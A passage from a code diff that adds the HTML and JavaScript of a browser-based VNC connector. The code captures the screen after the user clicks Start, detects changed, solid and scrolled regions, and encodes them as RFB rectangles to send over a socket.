+    <meta http-equiv="Content-Type" content="text/html; charset=utf8">
+    <title>yesVNC Web Connector</title>
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <meta charset="utf-8">
+    <link rel="stylesheet" href="stylesheets/yesvnc-wc.css" type="text/css">
+  </head>
+  <body>
+    <main class="main">
+      <header class="main__header">
+        <h2 class="main__header-title">yesVNC Web Connector</h2>
+        <h3 id="room-indicator" class="main__header-subtitle">
+          Channel&nbsp;6
+        </h3>
+      </header>
+      <hr class="main__seperator" />
+      <div id="preview-section" class="hidden">
+        <div id="preview-container">
+          <video id="video" style="display: none;" autoplay></video>
+          <canvas id="canvas0" style="display:none;"></canvas>
+          <canvas class="preview" id="canvas1"></canvas>
+        </div>
+        <hr class="main__seperator" />
+      </div>
+      <div class="main__controls">
+        <button id="start">Start</button>
+        <button id="stop" disabled>Stop</button>
+      </div>
+    </main>
+    <script>
+
+      const debugging = 0;
+
+      const combine_rects_x_min_distance = 24;
+      const combine_rects_y_min_distance = 4;
+
+      const scroll_detection_x_min = -64;
+      const scroll_detection_x_max = 64;
+      const scroll_detection_y_min = -64;
+      const scroll_detection_y_max = 64;
+      const scroll_detection_r_max = 16;
+      const scroll_detection_min_width = 256;
+      const scroll_detection_min_height = 256;
+      const scroll_detection_min_stripe_width = 16;
+      const scroll_detection_min_stripe_height = 16;
+      const scroll_detection_point_divisor = 1024;
+      const scroll_detection_length_divisor = 8;
+      const scroll_detection_same_color_threshold = 0.995;
+      const scroll_detection_hit_threshold = 0.995;
+
+      let video = document.getElementById ("video");
+      const canvas0 = document.getElementById ("canvas0");
+      const canvas1 = document.getElementById ("canvas1");
+      let ctx0 = undefined;
+      let ctx1 = undefined;
+
+      function hideElement (el)
+      {
+        el.classList.add ('hidden');
+      }
+
+      function showElement (el)
+      {
+        el.classList.remove ('hidden');
+      }
+
+      const displayMediaOptions = { video: { cursor: "always" }, audio: false };
+
+      async function startCapture ()
+      {
+        video.srcObject = await navigator.mediaDevices.getDisplayMedia (displayMediaOptions);
+        showElement (document.getElementById ('preview-section'));
+      }
+
+      function stopCapture (evt)
+      {
+        hideElement (document.getElementById ('preview-section'));
+        let tracks = video.srcObject.getTracks ();
+        tracks.forEach (
+          function (track)
+          {
+            track.stop ();
+          });
+        video.srcObject = null;
+      }
+
+      const startButton = document.getElementById ("start");
+      const stopButton = document.getElementById ("stop");
+
+      startButton.addEventListener ("click",
+        function (evt)
+        {
+          startCapture ();
+          startButton.setAttribute ('disabled', '');
+          stopButton.removeAttribute ('disabled');
+        },
+        false);
+
+      stopButton.addEventListener ("click",
+        function (evt)
+        {
+          stopCapture ();
+          start.removeAttribute ('disabled');
+          stopButton.setAttribute ('disabled', '');
+          window.location.reload();
+        },
+        false);
+
+      let socket = undefined;
+
+      function buf2hex (buffer)
+      {
+        const b = new Uint8Array (buffer);
+        const hexdump = Array.prototype.map.call (b,
+          function (x)
+          {
+            return ("00" + x.toString (16)).slice (-2);
+          }).join (" ");
+        return hexdump + " (" + buffer.byteLength.toString ()
+                       + (buffer.byteLength == 1 ? " byte)" : " bytes)");
+      }
+
+      let wScreen = 0;
+      let hScreen = 0;
+
+      const rfb_padding = 0;
+      const rfb_encoding_raw = 0;
+      const rfb_encoding_copyrect = 1;
+      const rfb_encoding_rre = 2;
+      const rfb_encoding_tight = 7;
+      const rfb_name = "wc:6";
+      const rfb_name_length = rfb_name.length;
+
+      class Rect
+      {
+        constructor (x, y, w, h, encoding)
+        {
+          this.x = x;
+          this.y = y;
+          this.w = w;
+          this.h = h;
+          this.encoding = encoding;
+        }
+
+        send ()
+        {
+          const buffer = new ArrayBuffer (12);
+          const b = new Uint8Array (buffer);
+          b[0] = this.x >>> 8;
+          b[1] = this.x & 0xff;
+          b[2] = this.y >>> 8;
+          b[3] = this.y & 0xff;
+          b[4] = this.w >>> 8;
+          b[5] = this.w & 0xff;
+          b[6] = this.h >>> 8;
+          b[7] = this.h & 0xff;
+          b[8] = this.encoding >>> 24
+          b[9] = (this.encoding >>> 16) & 0xff;
+          b[10] = (this.encoding >>> 8) & 0xff;
+          b[11] = this.encoding & 0xff;
+          if (debugging)
+            console.log ("sending Rect object: " + buf2hex (buffer));
+          socket.send (buffer);
+        }
+      }
+
+      class RawRect extends Rect
+      {
+        constructor (x, y, w, h, data)
+        {
+          super (x, y, w, h, rfb_encoding_raw);
+          this.data = data;
+        }
+
+        send ()
+        {
+          super.send ();
+          if (debugging)
+            console.log ("sending RawRect object data (" + this.data.byteLength.toString () + " pixel bytes)");
+          socket.send (this.data);
+        }
+      }
+
+      class ScrollRect extends Rect
+      {
+        constructor (x, y, w, h, dx, dy)
+        {
+          super (x, y, w, h, rfb_encoding_copyrect);
+          this.dx = dx;
+          this.dy = dy;
+        }
+
+        send ()
+        {
+          super.send ();
+          const buffer = new ArrayBuffer (4);
+          const b = new Uint8Array (buffer);
+          b[0] = this.dx >>> 8;
+          b[1] = this.dx & 0xff;
+          b[2] = this.dy >>> 8;
+          b[3] = this.dy & 0xff;
+          if (debugging)
+            console.log ("sending ScrollRect object: " + buf2hex (buffer));
+          socket.send (buffer);
+        }
+      }
+
+      class SolidRect extends Rect
+      {
+        constructor (x, y, w, h, color)
+        {
+          super (x, y, w, h, rfb_encoding_rre);
+          this.color = color;
+        }
+
+        send ()
+        {
+          super.send ();
+          const buffer = new ArrayBuffer (8);
+          const b = new Uint8Array (buffer);
+          b[0] = 0;  // number of sub-rectangles
+          b[1] = 0;
+          b[2] = 0;
+          b[3] = 0;
+          b[4] = this.color >>> 16;
+          b[5] = (this.color >>> 8) & 0xff;
+          b[6] = this.color & 0xff;
+          b[7] = rfb_padding;
+          if (debugging)
+            console.log ("sending SolidRect object: " + buf2hex (buffer));
+          socket.send (buffer);
+        }
+      }
+
+      class TightRect extends Rect
+      {
+        constructor (x, y, w, h, data)
+        {
+          super (x, y, w, h, rfb_encoding_tight);
+          this.data = data;
+        }
+
+        send ()
+        {
+          super.send ();
+          const data_length = this.data.byteLength;
+          let data_length_length = undefined;
+          if (data_length <= 0x7f)
+            data_length_length = 1;
+          else if (data_length <= 0x3fff)
+            data_length_length = 2;
+          else
+            data_length_length = 3;
+          const buffer = new ArrayBuffer (1 + data_length_length);
+          const b = new Uint8Array (buffer);
+          b[0] = 0x90; // Tight-JPEG
+          if (data_length <= 0x7f)
+            b[1] = data_length & 0x7f;
+          else if (data_length <= 0x3fff)
+            {
+              b[1] = (data_length & 0x7f) | 0x80;
+              b[2] = (data_length & 0x3f80) >>> 7;
+            }
+          else
+            {
+              b[1] = (data_length & 0x7f) | 0x80;
+              b[2] = ((data_length & 0x3f80) >>> 7) | 0x80;
+              b[3] = (data_length & 0x3fc000) >>> 14;
+            }
+          if (debugging)
+            console.log ("sending TightRect object header: " + buf2hex (buffer));
+          socket.send (buffer);
+          if (debugging)
+            console.log ("sending TightRect object data (" + data_length.toString () + " pixel bytes)");
+          socket.send (this.data);
+        }
+      }
+
+      let rects = new Array ();
+
+      class ScrollParams
+      {
+        constructor (x, y, w, h, dx, dy)
+        {
+          this.x = x;
+          this.y = y;
+          this.w = w;
+          this.h = h;
+          this.dx = dx;
+          this.dy = dy;
+        }
+      }
+
+      let scrollRects = new Array ();
+
+      let rfb_bits_per_pixel = 32;
+      let rfb_depth = 24;
+      let rfb_big_endian_flag = 0;
+      let rfb_true_color_flag = 1;
+      let rfb_red_maximum = 255;
+      let rfb_green_maximum = 255;
+      let rfb_blue_maximum = 255;
+      let rfb_red_shift = 24;
+      let rfb_green_shift = 16;
+      let rfb_blue_shift = 8;
+
+      let isFirstFrame = 1;
+      let processing = 0;
+      const rfb_aborted = 42;
+
+      function fillRectBuffer (px, x, y, w, h, color)
+      {
+        for (let yy = 0; yy < h; yy++)
+          {
+            let o = (y + yy) * wScreen + x;
+            for (let xx = 0; xx < w; xx++)
+              px[o++] = color;
+          }
+      }
+
+      function scrollRectBuffer (px, x, y, w, h, dx, dy)
+      {
+        const ww = w - Math.abs (dx);
+        const hh = h - Math.abs (dy);
+        const do0 = dy > 0 ? -wScreen : wScreen;
+        let o10 = (dy > 0 ? y + h - 1 : y) * wScreen + (dx > 0 ? x + w - 1 : x);
+        let o00 = ((dy > 0 ? y + h - 1 : y) - dy) * wScreen + (dx > 0 ? x + w - 1 : x) - dx;
+        for (let i = 0; i < hh; i++)
+          {
+            o1 = o10;
+            o0 = o00;
+            if (dx > 0)
+              for (let j = 0; j < ww; j++)
+                px[o1--] = px[o0--];
+            else
+              for (let j = 0; j < ww; j++)
+                px[o1++] = px[o0++];
+            o10 += do0;
+            o00 += do0;
+          }
+      }
+
+      function sleep (delay)
+      {
+        return new Promise (
+          function (resolve)
+          {
+            setTimeout (resolve, delay)
+          });
+      }
+
+      function canvasToBlob (canvas, type, options)
+      {
+        return new Promise (
+          function (resolve)
+          {
+            canvas.toBlob (resolve, type, options);
+          });
+      }
+
+      function pushRectRaw (x, y, w, h)
+      {
+        const data_length = w * h * 4;
+        const buffer = new ArrayBuffer (data_length);
+        const b = new Uint8Array (buffer);
+        const id1 = ctx1.getImageData (x, y, w, h);
+        const px1 = new Uint8Array (id1.data.buffer);
+        let bo = 0;
+        let po = 0;
+        for (let yy = 0; yy < h; yy++)
+          for (let xx = 0; xx < w; xx++)
+            {
+              b[bo + 0] = px1[po + 2];
+              b[bo + 1] = px1[po + 1];
+              b[bo + 2] = px1[po + 0];
+              b[bo + 3] = rfb_padding;
+              bo += 4;
+              po += 4;
+            }
+        if (debugging)
+          console.log ("storing RawRect (" + data_length.toString () + " pixel bytes)");
+        rects.push (new RawRect (x, y, w, h, buffer));
+      }
+
+      function pushRectScroll (x, y, w, h, dx, dy)
+      {
+        if (debugging)
+          console.log ("storing ScrollRect");
+        rects.push (new ScrollRect (x, y, w, h, dx, dy));
+      }
+
+      function pushRectSolid (x, y, w, h, color)
+      {
+        if (debugging)
+          console.log ("storing SolidRect");
+        rects.push (new SolidRect (x, y, w, h, color));
+      }
+
+      async function pushRectTight (x, y, w, h)
+      {
+        if (debugging)
+          console.log ("pushRectTight: x = " + x.toString () + ", y = " + y.toString () + ", w = " + w.toString () + ", h = " + h.toString ());
+        let canvas = undefined;
+        if (x == 0 && y == 0 && w == wScreen && h == hScreen)
+          canvas = canvas1;
+        else
+          {
+            canvas = document.createElement ('canvas');
+            canvas.width = w;
+            canvas.height = h;
+            canvas.getContext ('2d').drawImage (canvas1, -x, -y);
+          }
+        // if (debugging)
+        //   console.log ("calling canvasToBlob()");
+        const blob = await canvasToBlob (canvas, "image/jpeg");
+        // if (debugging)
+        //   console.log ("calling blob.arrayBuffer()");
+        const jpeg_buffer = await blob.arrayBuffer ();
+        // if (debugging)
+        //   console.log ("storing TightRect (" + jpeg_buffer.byteLength.toString () + " instead of " + (w * h * 4).toString () + " pixel bytes)");
+        rects.push (new TightRect (x, y, w, h, jpeg_buffer));
+      }
+
+      function detectScrolling (px0, px1, x, y, w, h)
+      {
+        if (debugging)
+          console.log ("scrolling: detection started");
+        const pixels = w * h;
+        const points = Math.floor (pixels / scroll_detection_point_divisor);
+        const qxBuffer = new ArrayBuffer (2 * points);
+        const qx = new Uint16Array (qxBuffer);
+        const qyBuffer = new ArrayBuffer (2 * points);
+        const qy = new Uint16Array (qyBuffer);
+        const qc1Buffer = new ArrayBuffer (4 * points);
+        const qc1 = new Uint32Array (qc1Buffer);
+        const qc0Buffer = new ArrayBuffer (4 * points);
+        const qc0 = new Uint32Array (qc0Buffer);
+        for (let i = 0; i < points; i++)
+          {
+            const p = Math.floor (Math.random () * pixels);
+            // I lost a whole day to find out that p / w is a floating point division,
+            // which causes crazy things to happen when we use yy as an array index.
+            // I hate JavaScript. -- PG 20201222
+            const yy = Math.floor (p / w);
+            const xx = p % w;
+            const o = (y + yy) * wScreen + x + xx;
+            qy[i] = yy;
+            qx[i] = xx;
+            qc1[i] = px1[o];
+            qc0[i] = px0[o];
+          }
+        const xDensityBuffer = new ArrayBuffer (2 * w);
+        const xDensity = new Uint16Array (xDensityBuffer);
+        const yDensityBuffer = new ArrayBuffer (2 * h);
+        const yDensity = new Uint16Array (yDensityBuffer);
+        for (let xx = 0; xx < w; xx++)
+          {
+            xDensity[xx] = 0;
+            for (let i = 0; i < points; i++)
+              if (qx[i] < xx && qc1[i] != qc0[i])
+                xDensity[xx]++;
+          }
+        const lx = Math.floor (w / scroll_detection_length_divisor);
+        const halflx = Math.floor (lx / 2);
+        const averageDensity = Math.floor (xDensity[w - 1] / scroll_detection_length_divisor);
+        if (debugging)
+          console.log ("scrolling: averageDensity =", averageDensity);
+        let x0 = 0;
+        while (x0 + lx < w)
+          {
+            while (x0 + lx < w && xDensity[x0 + lx] - xDensity[x0] < averageDensity)
+              x0++;
+            let x1 = x0;
+            while (x1 + lx < w && xDensity[x1 + lx] - xDensity[x1] >= averageDensity)
+              x1++;
+            if (x1 - x0 >= scroll_detection_min_stripe_width)
+              {
+                if (debugging)
+                  console.log ("scrolling: vertical stripe:", x0 + halflx, x1 - x0);
+                for (let yy = 0; yy < h; yy++)
+                  {
+                    yDensity[yy] = 0;
+                    for (let i = 0; i < points; i++)
+                      if (qy[i] < yy && qc1[i] != qc0[i] && qx[i] >= x0 && qx[i] < x1)
+                        yDensity[yy]++;
+
+                  }
+                const ly = Math.floor (h / scroll_detection_length_divisor);
+                const halfly = Math.floor (ly / 2);
+                const averageDensity = Math.floor (yDensity[h - 1] / scroll_detection_length_divisor);
+                if (debugging)
+                  console.log ("scrolling: averageDensity =", averageDensity);
+                let y0 = 0;
+                while (y0 + ly < h)
+                  {
+                    while (y0 + ly < h && yDensity[y0 + ly] - yDensity[y0] < averageDensity)
+                      y0++;
+                    let y1 = y0;
+                    while (y1 + ly < h && yDensity[y1 + ly] - yDensity[y1] >= averageDensity)
+                      y1++;
+                    if (y1 - y0 >= scroll_detection_min_stripe_height)
+                      {
+                        if (debugging)
+                          console.log ("scrolling: horizontal stripe:", y0 + halfly, y1 - y0);
+                        let sx = x0 + halflx;
+                        let sy = y0 + halfly;
+                        let sw = x1 - x0;
+                        let sh = y1 - y0;
+                        if (debugging)
+                          {
+                            console.log ("scrolling: checking area:", sx, sy, sw, sh);
+                            console.log ("scrolling: " + scrollRects.length.toString () + " rects");
+                          }
+                        const redundant = scrollRects.find (
+                          function (r)
+                          {
+                            if (debugging)
+                              console.log ("scrolling: checking rect", sx, sy, sw, sh, "against", r.x, r.y, r.w, r.h, r.dx, r.dy);
+                            if (sx + sw <= r.x || sx >= r.x + r.w)
+                              return 0;
+                            else if (sy + sh <= r.y || sy >= r.y + r.h)
+                              return 0;
+                            else
+                              {
+                                if (debugging)
+                                  console.log ("scrolling: new rect", sx, sy, sw, sh, "is redundant with", r.x, r.y, r.w, r.h, r.dx, r.dy);
+                                return 1;
+                              }
+                          });
+                        if (!redundant)
+                          {
+                            const color = new Array;
+                            for (let i = 0; i < points; i++)
+                              if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
+                                color.push (qc1[i]);
+                            const points_inside = color.length;
+                            color.sort (
+                              function (a, b)
+                              {
+                                return a - b;
+                              });
+                            let color_abundance = 1;
+                            let i0 = 0;
+                            let i1 = 1;
+                            while (i1 < points_inside)
+                              {
+                                if (color[i1] != color[i0])
+                                  {
+                                    const a = i1 - i0;
+                                    if (a > color_abundance)
+                                      {
+                                        color_abundance = a;
+                                        i0 = i1;
+                                      }
+                                  }
+                                i1++
+                              }
+                            const a = i1 - i0;
+                            if (a > color_abundance)
+                              color_abundance = a;
+                            if (debugging)
+                              console.log ("scrolling: color_abundance = " + color_abundance.toString () + ", points_inside = " + points_inside.toString ()
+                                           + ", threshold = " + (points_inside * scroll_detection_same_color_threshold).toString ());
+                            if (color_abundance < points_inside * scroll_detection_same_color_threshold)
+                              {
+                                let min_mishits = points_inside;
+                                let sdx = 0;
+                                let sdy = 0;
+                                // We intentionally include the case dx == dy == 0.
+                                // Without this, we get false positives where unchanged content
+                                // is scrolled by 1 pixel because the "repair" after the scrolling
+                                // is minimal.
+                                for (let dy = scroll_detection_y_max; dy >= scroll_detection_y_min && min_mishits > 0; dy--)
+                                  for (let dx = scroll_detection_x_max; dx >= scroll_detection_x_min && min_mishits > 0; dx--)
+                                    if ((dx == 0 || dy == 0 || dx * dx + dy * dy < scroll_detection_r_max * scroll_detection_r_max))
+                                      {
+                                        let i = 0;
+                                        let mishits = 0;
+                                        while (i < points && mishits < min_mishits)
+                                          {
+                                            if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
+                                              {
+                                                const o0 = (y + qy[i] - dy) * wScreen + x + qx[i] - dx;
+                                                if (o0 >= 0 && o0 < pixels && qc1[i] != px0[o0])
+                                                  mishits++;
+//                                                if (i < 10)
+//                                                  console.log ("scrolling: point:", qx[i], qy[i], "rect:", sx, sx + sw, sy, sy + sh,
+//                                                               "o0, px:", o0, qc1[i], px0[o0]);
+                                              }
+                                            i++;
+                                          }
+                                        if (mishits < min_mishits)
+                                          {
+                                            min_mishits = mishits;
+                                            sdx = dx;
+                                            sdy = dy;
+                                          }
+                                      if (debugging)
+                                        console.log ("scrolling: dx = " + dx.toString () + ", dy = " + dy.toString ()
+                                                     + ", mishits = " + mishits.toString () + ", points_inside = " + points_inside.toString ());
+                                      }
+                                if (debugging)
+                                  console.log ("scrolling: sdx = " + sdx.toString () + ", sdy = " + sdy.toString ()
+                                               + ", min_mishits = " + min_mishits.toString () + ", points_inside = " + points_inside.toString ());
+                                if (min_mishits < points_inside * (1 - scroll_detection_hit_threshold))
+                                  {
+                                    if (debugging)
+                                      console.log ("scrolling: expanding rect:", sx, sy, sw, sh, sdx, sdy);
+                                    let xx = sx - 1;
+                                    let scrollable = 1;
+                                    while (xx > 0 && scrollable)
+                                      {
+                                        let yy = sy;
+                                        let scrollable_points = 0;
+                                        let o1 = (y + yy) * wScreen + x + xx;
+                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
+                                        while (yy < sy + sh)
+                                          {
+                                            if (px1[o1] == px0[o0])
+                                              scrollable_points++;
+                                            yy++;
+                                            o1 += wScreen;
+                                            o0 += wScreen;
+                                          }
+                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
+                                          scrollable = 0;
+                                        xx--;
+                                      }
+                                    if (!scrollable)
+                                      sx = xx + 1;
+                                    else
+                                      sx = xx;
+                                    xx = sx + sw;
+                                    scrollable = 1;
+                                    while (xx < w && scrollable)
+                                      {
+                                        let yy = sy;
+                                        let scrollable_points = 0;
+                                        let o1 = (y + yy) * wScreen + x + xx;
+                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
+                                        while (yy < sy + sh)
+                                          {
+                                            if (px1[o1] == px0[o0])
+                                              scrollable_points++;
+                                            yy++;
+                                            o1 += wScreen;
+                                            o0 += wScreen;
+                                          }
+                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
+                                          scrollable = 0;
+                                        xx++;
+                                      }
+                                    if (!scrollable)
+                                      sw = xx - sx - 1;
+                                    else
+                                      sw = xx - sx;
+                                    let yy = sy - 1;
+                                    scrollable = 1;
+                                    while (yy > 0 && scrollable)
+                                      {
+                                        let xx = sx;
+                                        let scrollable_points = 0;
+                                        let o1 = (y + yy) * wScreen + x + xx;
+                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
+                                        while (xx < sx + sw)
+                                          {
+                                            if (px1[o1] == px0[o0])
+                                              scrollable_points++;
+                                            xx++;
+                                            o1++;
+                                            o0++;
+                                          }
+                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
+                                          scrollable = 0;
+                                        yy--;
+                                      }
+                                    if (!scrollable)
+                                      sy = yy + 1;
+                                    else
+                                      sy = yy;
+                                    yy = sy + sh;
+                                    scrollable = 1;
+                                    while (yy < h && scrollable)
+                                      {
+                                        let xx = sx;
+                                        let scrollable_points = 0;
+                                        let o1 = (y + yy) * wScreen + x + xx;
+                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
+                                        while (xx < sx + sw)
+                                          {
+                                            if (px1[o1] == px0[o0])
+                                              scrollable_points++;
+                                            xx++;
+                                            o1++;
+                                            o0++;
+                                          }
+                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
+                                          scrollable = 0;
+                                        yy++;
+                                      }
+                                    if (!scrollable)
+                                      sh = yy - sy - 1;
+                                    else
+                                      sh = yy - sy;
+//                                    if (debugging)
+                                      console.log ("scrolling: pushing rect:", sx, sy, sw, sh, sdx, sdy);
+                                    scrollRects.forEach (
+                                      function (r)
+                                      {
+                                        if (!(sx + sw <= r.x || sx >= r.x + r.w || sy + sh <= r.y || sy >= r.y + r.h))
+                                          {
+                                            if (debugging)
+                                              console.log ("scrolling: neutralizing redundant rect:", r.x, r.y, r.w, r.h, r.dx, r.dy);
+                                            r.dx = 0;
+                                            r.dy = 0;
+                                          }
+                                      });
+                                    scrollRects.push (new ScrollParams (sx, sy, sw, sh, sdx, sdy));
+                                  }
+                              }
+                          }
+                      }
+                    y0 = y1;
+                  }
+              }
+            x0 = x1;
+          }
+        scrollRects.forEach (
+          function (r)
+          {
+            if (r.dx != 0 || r.dy != 0)
+              {
+                const adx = Math.abs (r.dx);
+                const ady = Math.abs (r.dy);
+                if (r.w > adx && r.h > ady)
+                  {
+//                    pushRectSolid (r.x, r.y, r.w, r.h, 0xff0000);
+//                    fillRectBuffer (px0, r.x, r.y, r.w, r.h, 0xffff0000);
+                    const xx = r.dx > 0 ? r.x + r.dx : r.x;
+                    const yy = r.dy > 0 ? r.y + r.dy : r.y;
+                    pushRectScroll (xx, yy, r.w - adx, r.h - ady, xx - r.dx, yy - r.dy);
+                    scrollRectBuffer (px0, r.x, r.y, r.w, r.h, r.dx, r.dy);
+                  }
+              }
+          });
+        if (debugging)
+          console.log ("scrolling: " + scrollRects.length.toString ()
+                       + " rectangle" + (scrollRects.length == 1 ? "" : "s") + " detected");
+        scrollRects.length = 0;
+      }
+
+      function determineBackgroundColor (px, x, y, w, h)
+      {
+        const pixels = w * h;
+        const max_points = Math.floor (pixels / 16);
+        const points = max_points > 256 ? 256 : max_points;
+        const color = new Array (points);
+        for (let i = 0; i < points; i++)
+          {
+            const p = Math.floor (Math.random () * pixels);
+            const yy = Math.floor (p / w);
+            const xx = p % w;
+            const o = yy * wScreen + x;
+            color[i] = px[o];
+          }
+        color.sort (
+          function (a, b)
+          {
+            return a - b;
+          });
+        let background_index = 0;
+        let background_abundance = 1;
+        let i0 = 0;
+        let i1 = 1;
+        while (i1 < points)
+          {
+            if (color[i1] != color[i0])
+              {
+                const a = i1 - i0;
+                if (a > background_abundance)
+                  {
+                    background_index = i0;
+                    background_abundance = a;
+                    i0 = i1;
+                  }
+              }
+            i1++
+          }
+        const a = i1 - i0;
+        if (a > background_abundance)
+          background_index = i0;
+        return color[background_index];
+      }
+
+      async function updateFullRectangle (x, y, w, h)
+      {
+        if (w * h * 4 > 1024)
+          await pushRectTight (x, y, w, h);
+        else
+          pushRectRaw (x, y, w, h);
+      }
+
+      async function updateInnerStructureHorizontal (px0, px1, x, y, w, h, final)
+      {
+        // if (debugging)
+        //   console.log ("updateInnerStructureHorizontal: x = " + x.toString () + ", y = " + y.toString ()
+        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
+        const empty = new Array (w);
+        const pixel_unchanged = 0x01000000;
+        const same_color = 0x2000000;
+        let xx = 0;
+        while (xx < w)
+          {
+            let yy = 0;
+            let o = y * wScreen + x + xx;
+            const start_color = px1[o];
+            empty[xx] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
+            while (yy < h && empty[xx] & (pixel_unchanged | same_color))
+              {
+                if (px1[o] != px0[o])
+                  empty[xx] &= ~pixel_unchanged;
+                if (px1[o] != start_color)
+                  empty[xx] &= ~same_color;
+                o += wScreen;
+                yy++;
+              }
+            xx++;
+          }
+        let x0 = 0;
+        while (x0 < w && empty[x0] & (pixel_unchanged | same_color))
+          x0++;
+        while (x0 < w)
+          {
+            while (x0 < w && !(empty[x0] & (pixel_unchanged | same_color)))
+              x0++;
+            let x1 = x0;
+            while (x1 < w && empty[x1] & (pixel_unchanged | same_color))
+              x1++;
+            if (x1 < w && x1 - x0 < combine_rects_x_min_distance)
+              for (let xx = x0; xx < x1; xx++)
+                empty[xx] &= ~(pixel_unchanged | same_color);
+            x0 = x1;
+          }
+        let nothing_empty = 1;
+        for (let xx = 0; xx < w; xx++)
+          if (empty[xx] & (pixel_unchanged | same_color))
+            nothing_empty = 0;
+        // if (debugging)
+        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
+        x0 = 0;
+        while (x0 < w)
+          {
+            let x1 = x0;
+            if (empty[x0] & pixel_unchanged)
+              {
+                while (x1 < w && empty[x1] & pixel_unchanged)
+                  x1++;
+              }
+            else if (empty[x0] & same_color)
+              {
+                while (x1 < w && empty[x1] & same_color && (empty[x1] & 0x00ffffff) == (empty[x0] & 0x00ffffff))
+                  x1++;
+                x1--;
+                while (x1 > x0 && empty[x1] & pixel_unchanged)
+                  x1--;
+                x1++;
+                const start_color = empty[x0] | 0xff000000;
+                pushRectSolid (x + x0, y, x1 - x0, h, debugging ? start_color | 0x00ffff : start_color);
+                fillRectBuffer (px0, x + x0, y, x1 - x0, h, start_color);
+              }
+            else
+              {
+                while (x1 < w && !(empty[x1] & (pixel_unchanged | same_color)))
+                  x1++;
+                if (final)
+                  await updateFullRectangle (x + x0, y, x1 - x0, h);
+                else
+                  await updateInnerStructureVertical (px0, px1, x + x0, y, x1 - x0, h, nothing_empty);
+              }
+            x0 = x1;
+          }
+      }
+
+      async function updateInnerStructureVertical (px0, px1, x, y, w, h, final)
+      {
+        // if (debugging)
+        //   console.log ("updateInnerStructureVertical: x = " + x.toString () + ", y = " + y.toString ()
+        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
+        const empty = new Array (h);
+        const pixel_unchanged = 1;
+        const same_color = 2;
+        let yy = 0;
+        while (yy < h)
+          {
+            let xx = 0;
+            let o = (y + yy) * wScreen + x;
+            const start_color = px1[o];
+            empty[yy] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
+            while (xx < w && empty[yy] & (pixel_unchanged | same_color))
+              {
+                if (px1[o] != px0[o])
+                  empty[yy] &= ~pixel_unchanged;
+                if (px1[o] != start_color)
+                  empty[yy] &= ~same_color;
+                o++;
+                xx++;
+              }
+            yy++;
+          }
+        let y0 = 0;
+        while (y0 < h && empty[y0] & (pixel_unchanged | same_color))
+          y0++;
+        while (y0 < h)
+          {
+            while (y0 < h && !(empty[y0] & (pixel_unchanged | same_color)))
+              y0++;
+            let y1 = y0;
+            while (y1 < h && empty[y1] & (pixel_unchanged | same_color))
+              y1++;
+            if (y1 < h && y1 - y0 < combine_rects_y_min_distance)
+              for (let yy = y0; yy < y1; yy++)
+                empty[yy] &= ~(pixel_unchanged | same_color);
+            y0 = y1;
+          }
+        let nothing_empty = 1;
+        for (let yy = 0; yy < h; yy++)
+          if (empty[yy] & (pixel_unchanged | same_color))
+            nothing_empty = 0;
+        // if (debugging)
+        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
+        y0 = 0;
+        while (y0 < h)
+          {
+            let y1 = y0;
+            if (empty[y0] & pixel_unchanged)
+              {
+                while (y1 < h && empty[y1] & pixel_unchanged)
+                  y1++;
+              }
+            else if (empty[y0] & same_color)
+              {
+                while (y1 < h && empty[y1] & same_color && (empty[y1] & 0x00ffffff) == (empty[y0] & 0x00ffffff)) 
+                  y1++;
+                y1--;
+                while (y1 > y0 && empty[y1] & pixel_unchanged)
+                  y1--;
+                y1++;
+                const start_color = empty[y0] | 0xff000000;
+                pushRectSolid (x, y + y0, w, y1 - y0, debugging ? start_color | 0xffff00 : start_color);
+                fillRectBuffer (px0, x, y + y0, w, y1 - y0, start_color);
+              }
+            else
+              {
+                while (y1 < h && !(empty[y1] & (pixel_unchanged | same_color)))
+                  y1++;
+                if (final)
+                  await updateFullRectangle (x, y + y0, w, y1 - y0);
+                else
+                  await updateInnerStructureHorizontal (px0, px1, x, y + y0, w, y1 - y0, nothing_empty);
+              }
+            y0 = y1;
+          }
+      }
+
+      async function decomposeRect (px0, px1, x, y, w, h)
+      {
+        await updateInnerStructureVertical (px0, px1, x, y, w, h, 0);
+      }
+
+      async function rfbFramebufferUpdate (isIncremental, x, y, w, h)
+      {
+        if (debugging)
+          console.log ("rfbFramebufferUpdate: isIncremental = " + isIncremental.toString ()
+                       + ", x = " + x.toString () + ", y = " + h.toString ()
+                       + ", w = " + w.toString () + ", h = " + h.toString ());
+        let id1 = ctx1.getImageData (x, y, w, h);
+        ctx0.putImageData (id1, x, y, x, y, w, h);
+        const id0 = ctx0.getImageData (0, 0, wScreen, hScreen);
+        const px0 = new Uint32Array (id0.data.buffer);
+        ctx1.drawImage (video, 0, 0, wScreen, hScreen);
+        id1 = ctx1.getImageData (0, 0, wScreen, hScreen);
+        let px1 = new Uint32Array (id1.data.buffer);
+        if (!isIncremental)
+          {
+            const color = determineBackgroundColor (px1, x, y, w, h);
+            if (debugging)
+              console.log ("background color = " + color.toString ());
+            pushRectSolid (x, y, w, h, debugging ? color | 0x7f00ff : color);
+            fillRectBuffer (px0, x, y, w, h, color);
+          }
+        do
+          {
+            const length = px0.length;
+            let o = 0;
+            while (o < length && px0[o] == px1[o])
+              o++;
+            if (o < length)
+              {
+//                if (isIncremental && w >= scroll_detection_min_width && h >= scroll_detection_min_height)
+//                  detectScrolling (px0, px1, x, y, w, h);
+                await decomposeRect (px0, px1, x, y, w, h);
+              }
+            if (rects.length == 0)
+              {
+                await sleep (100);
+                ctx1.drawImage (video, 0, 0, wScreen, hScreen);
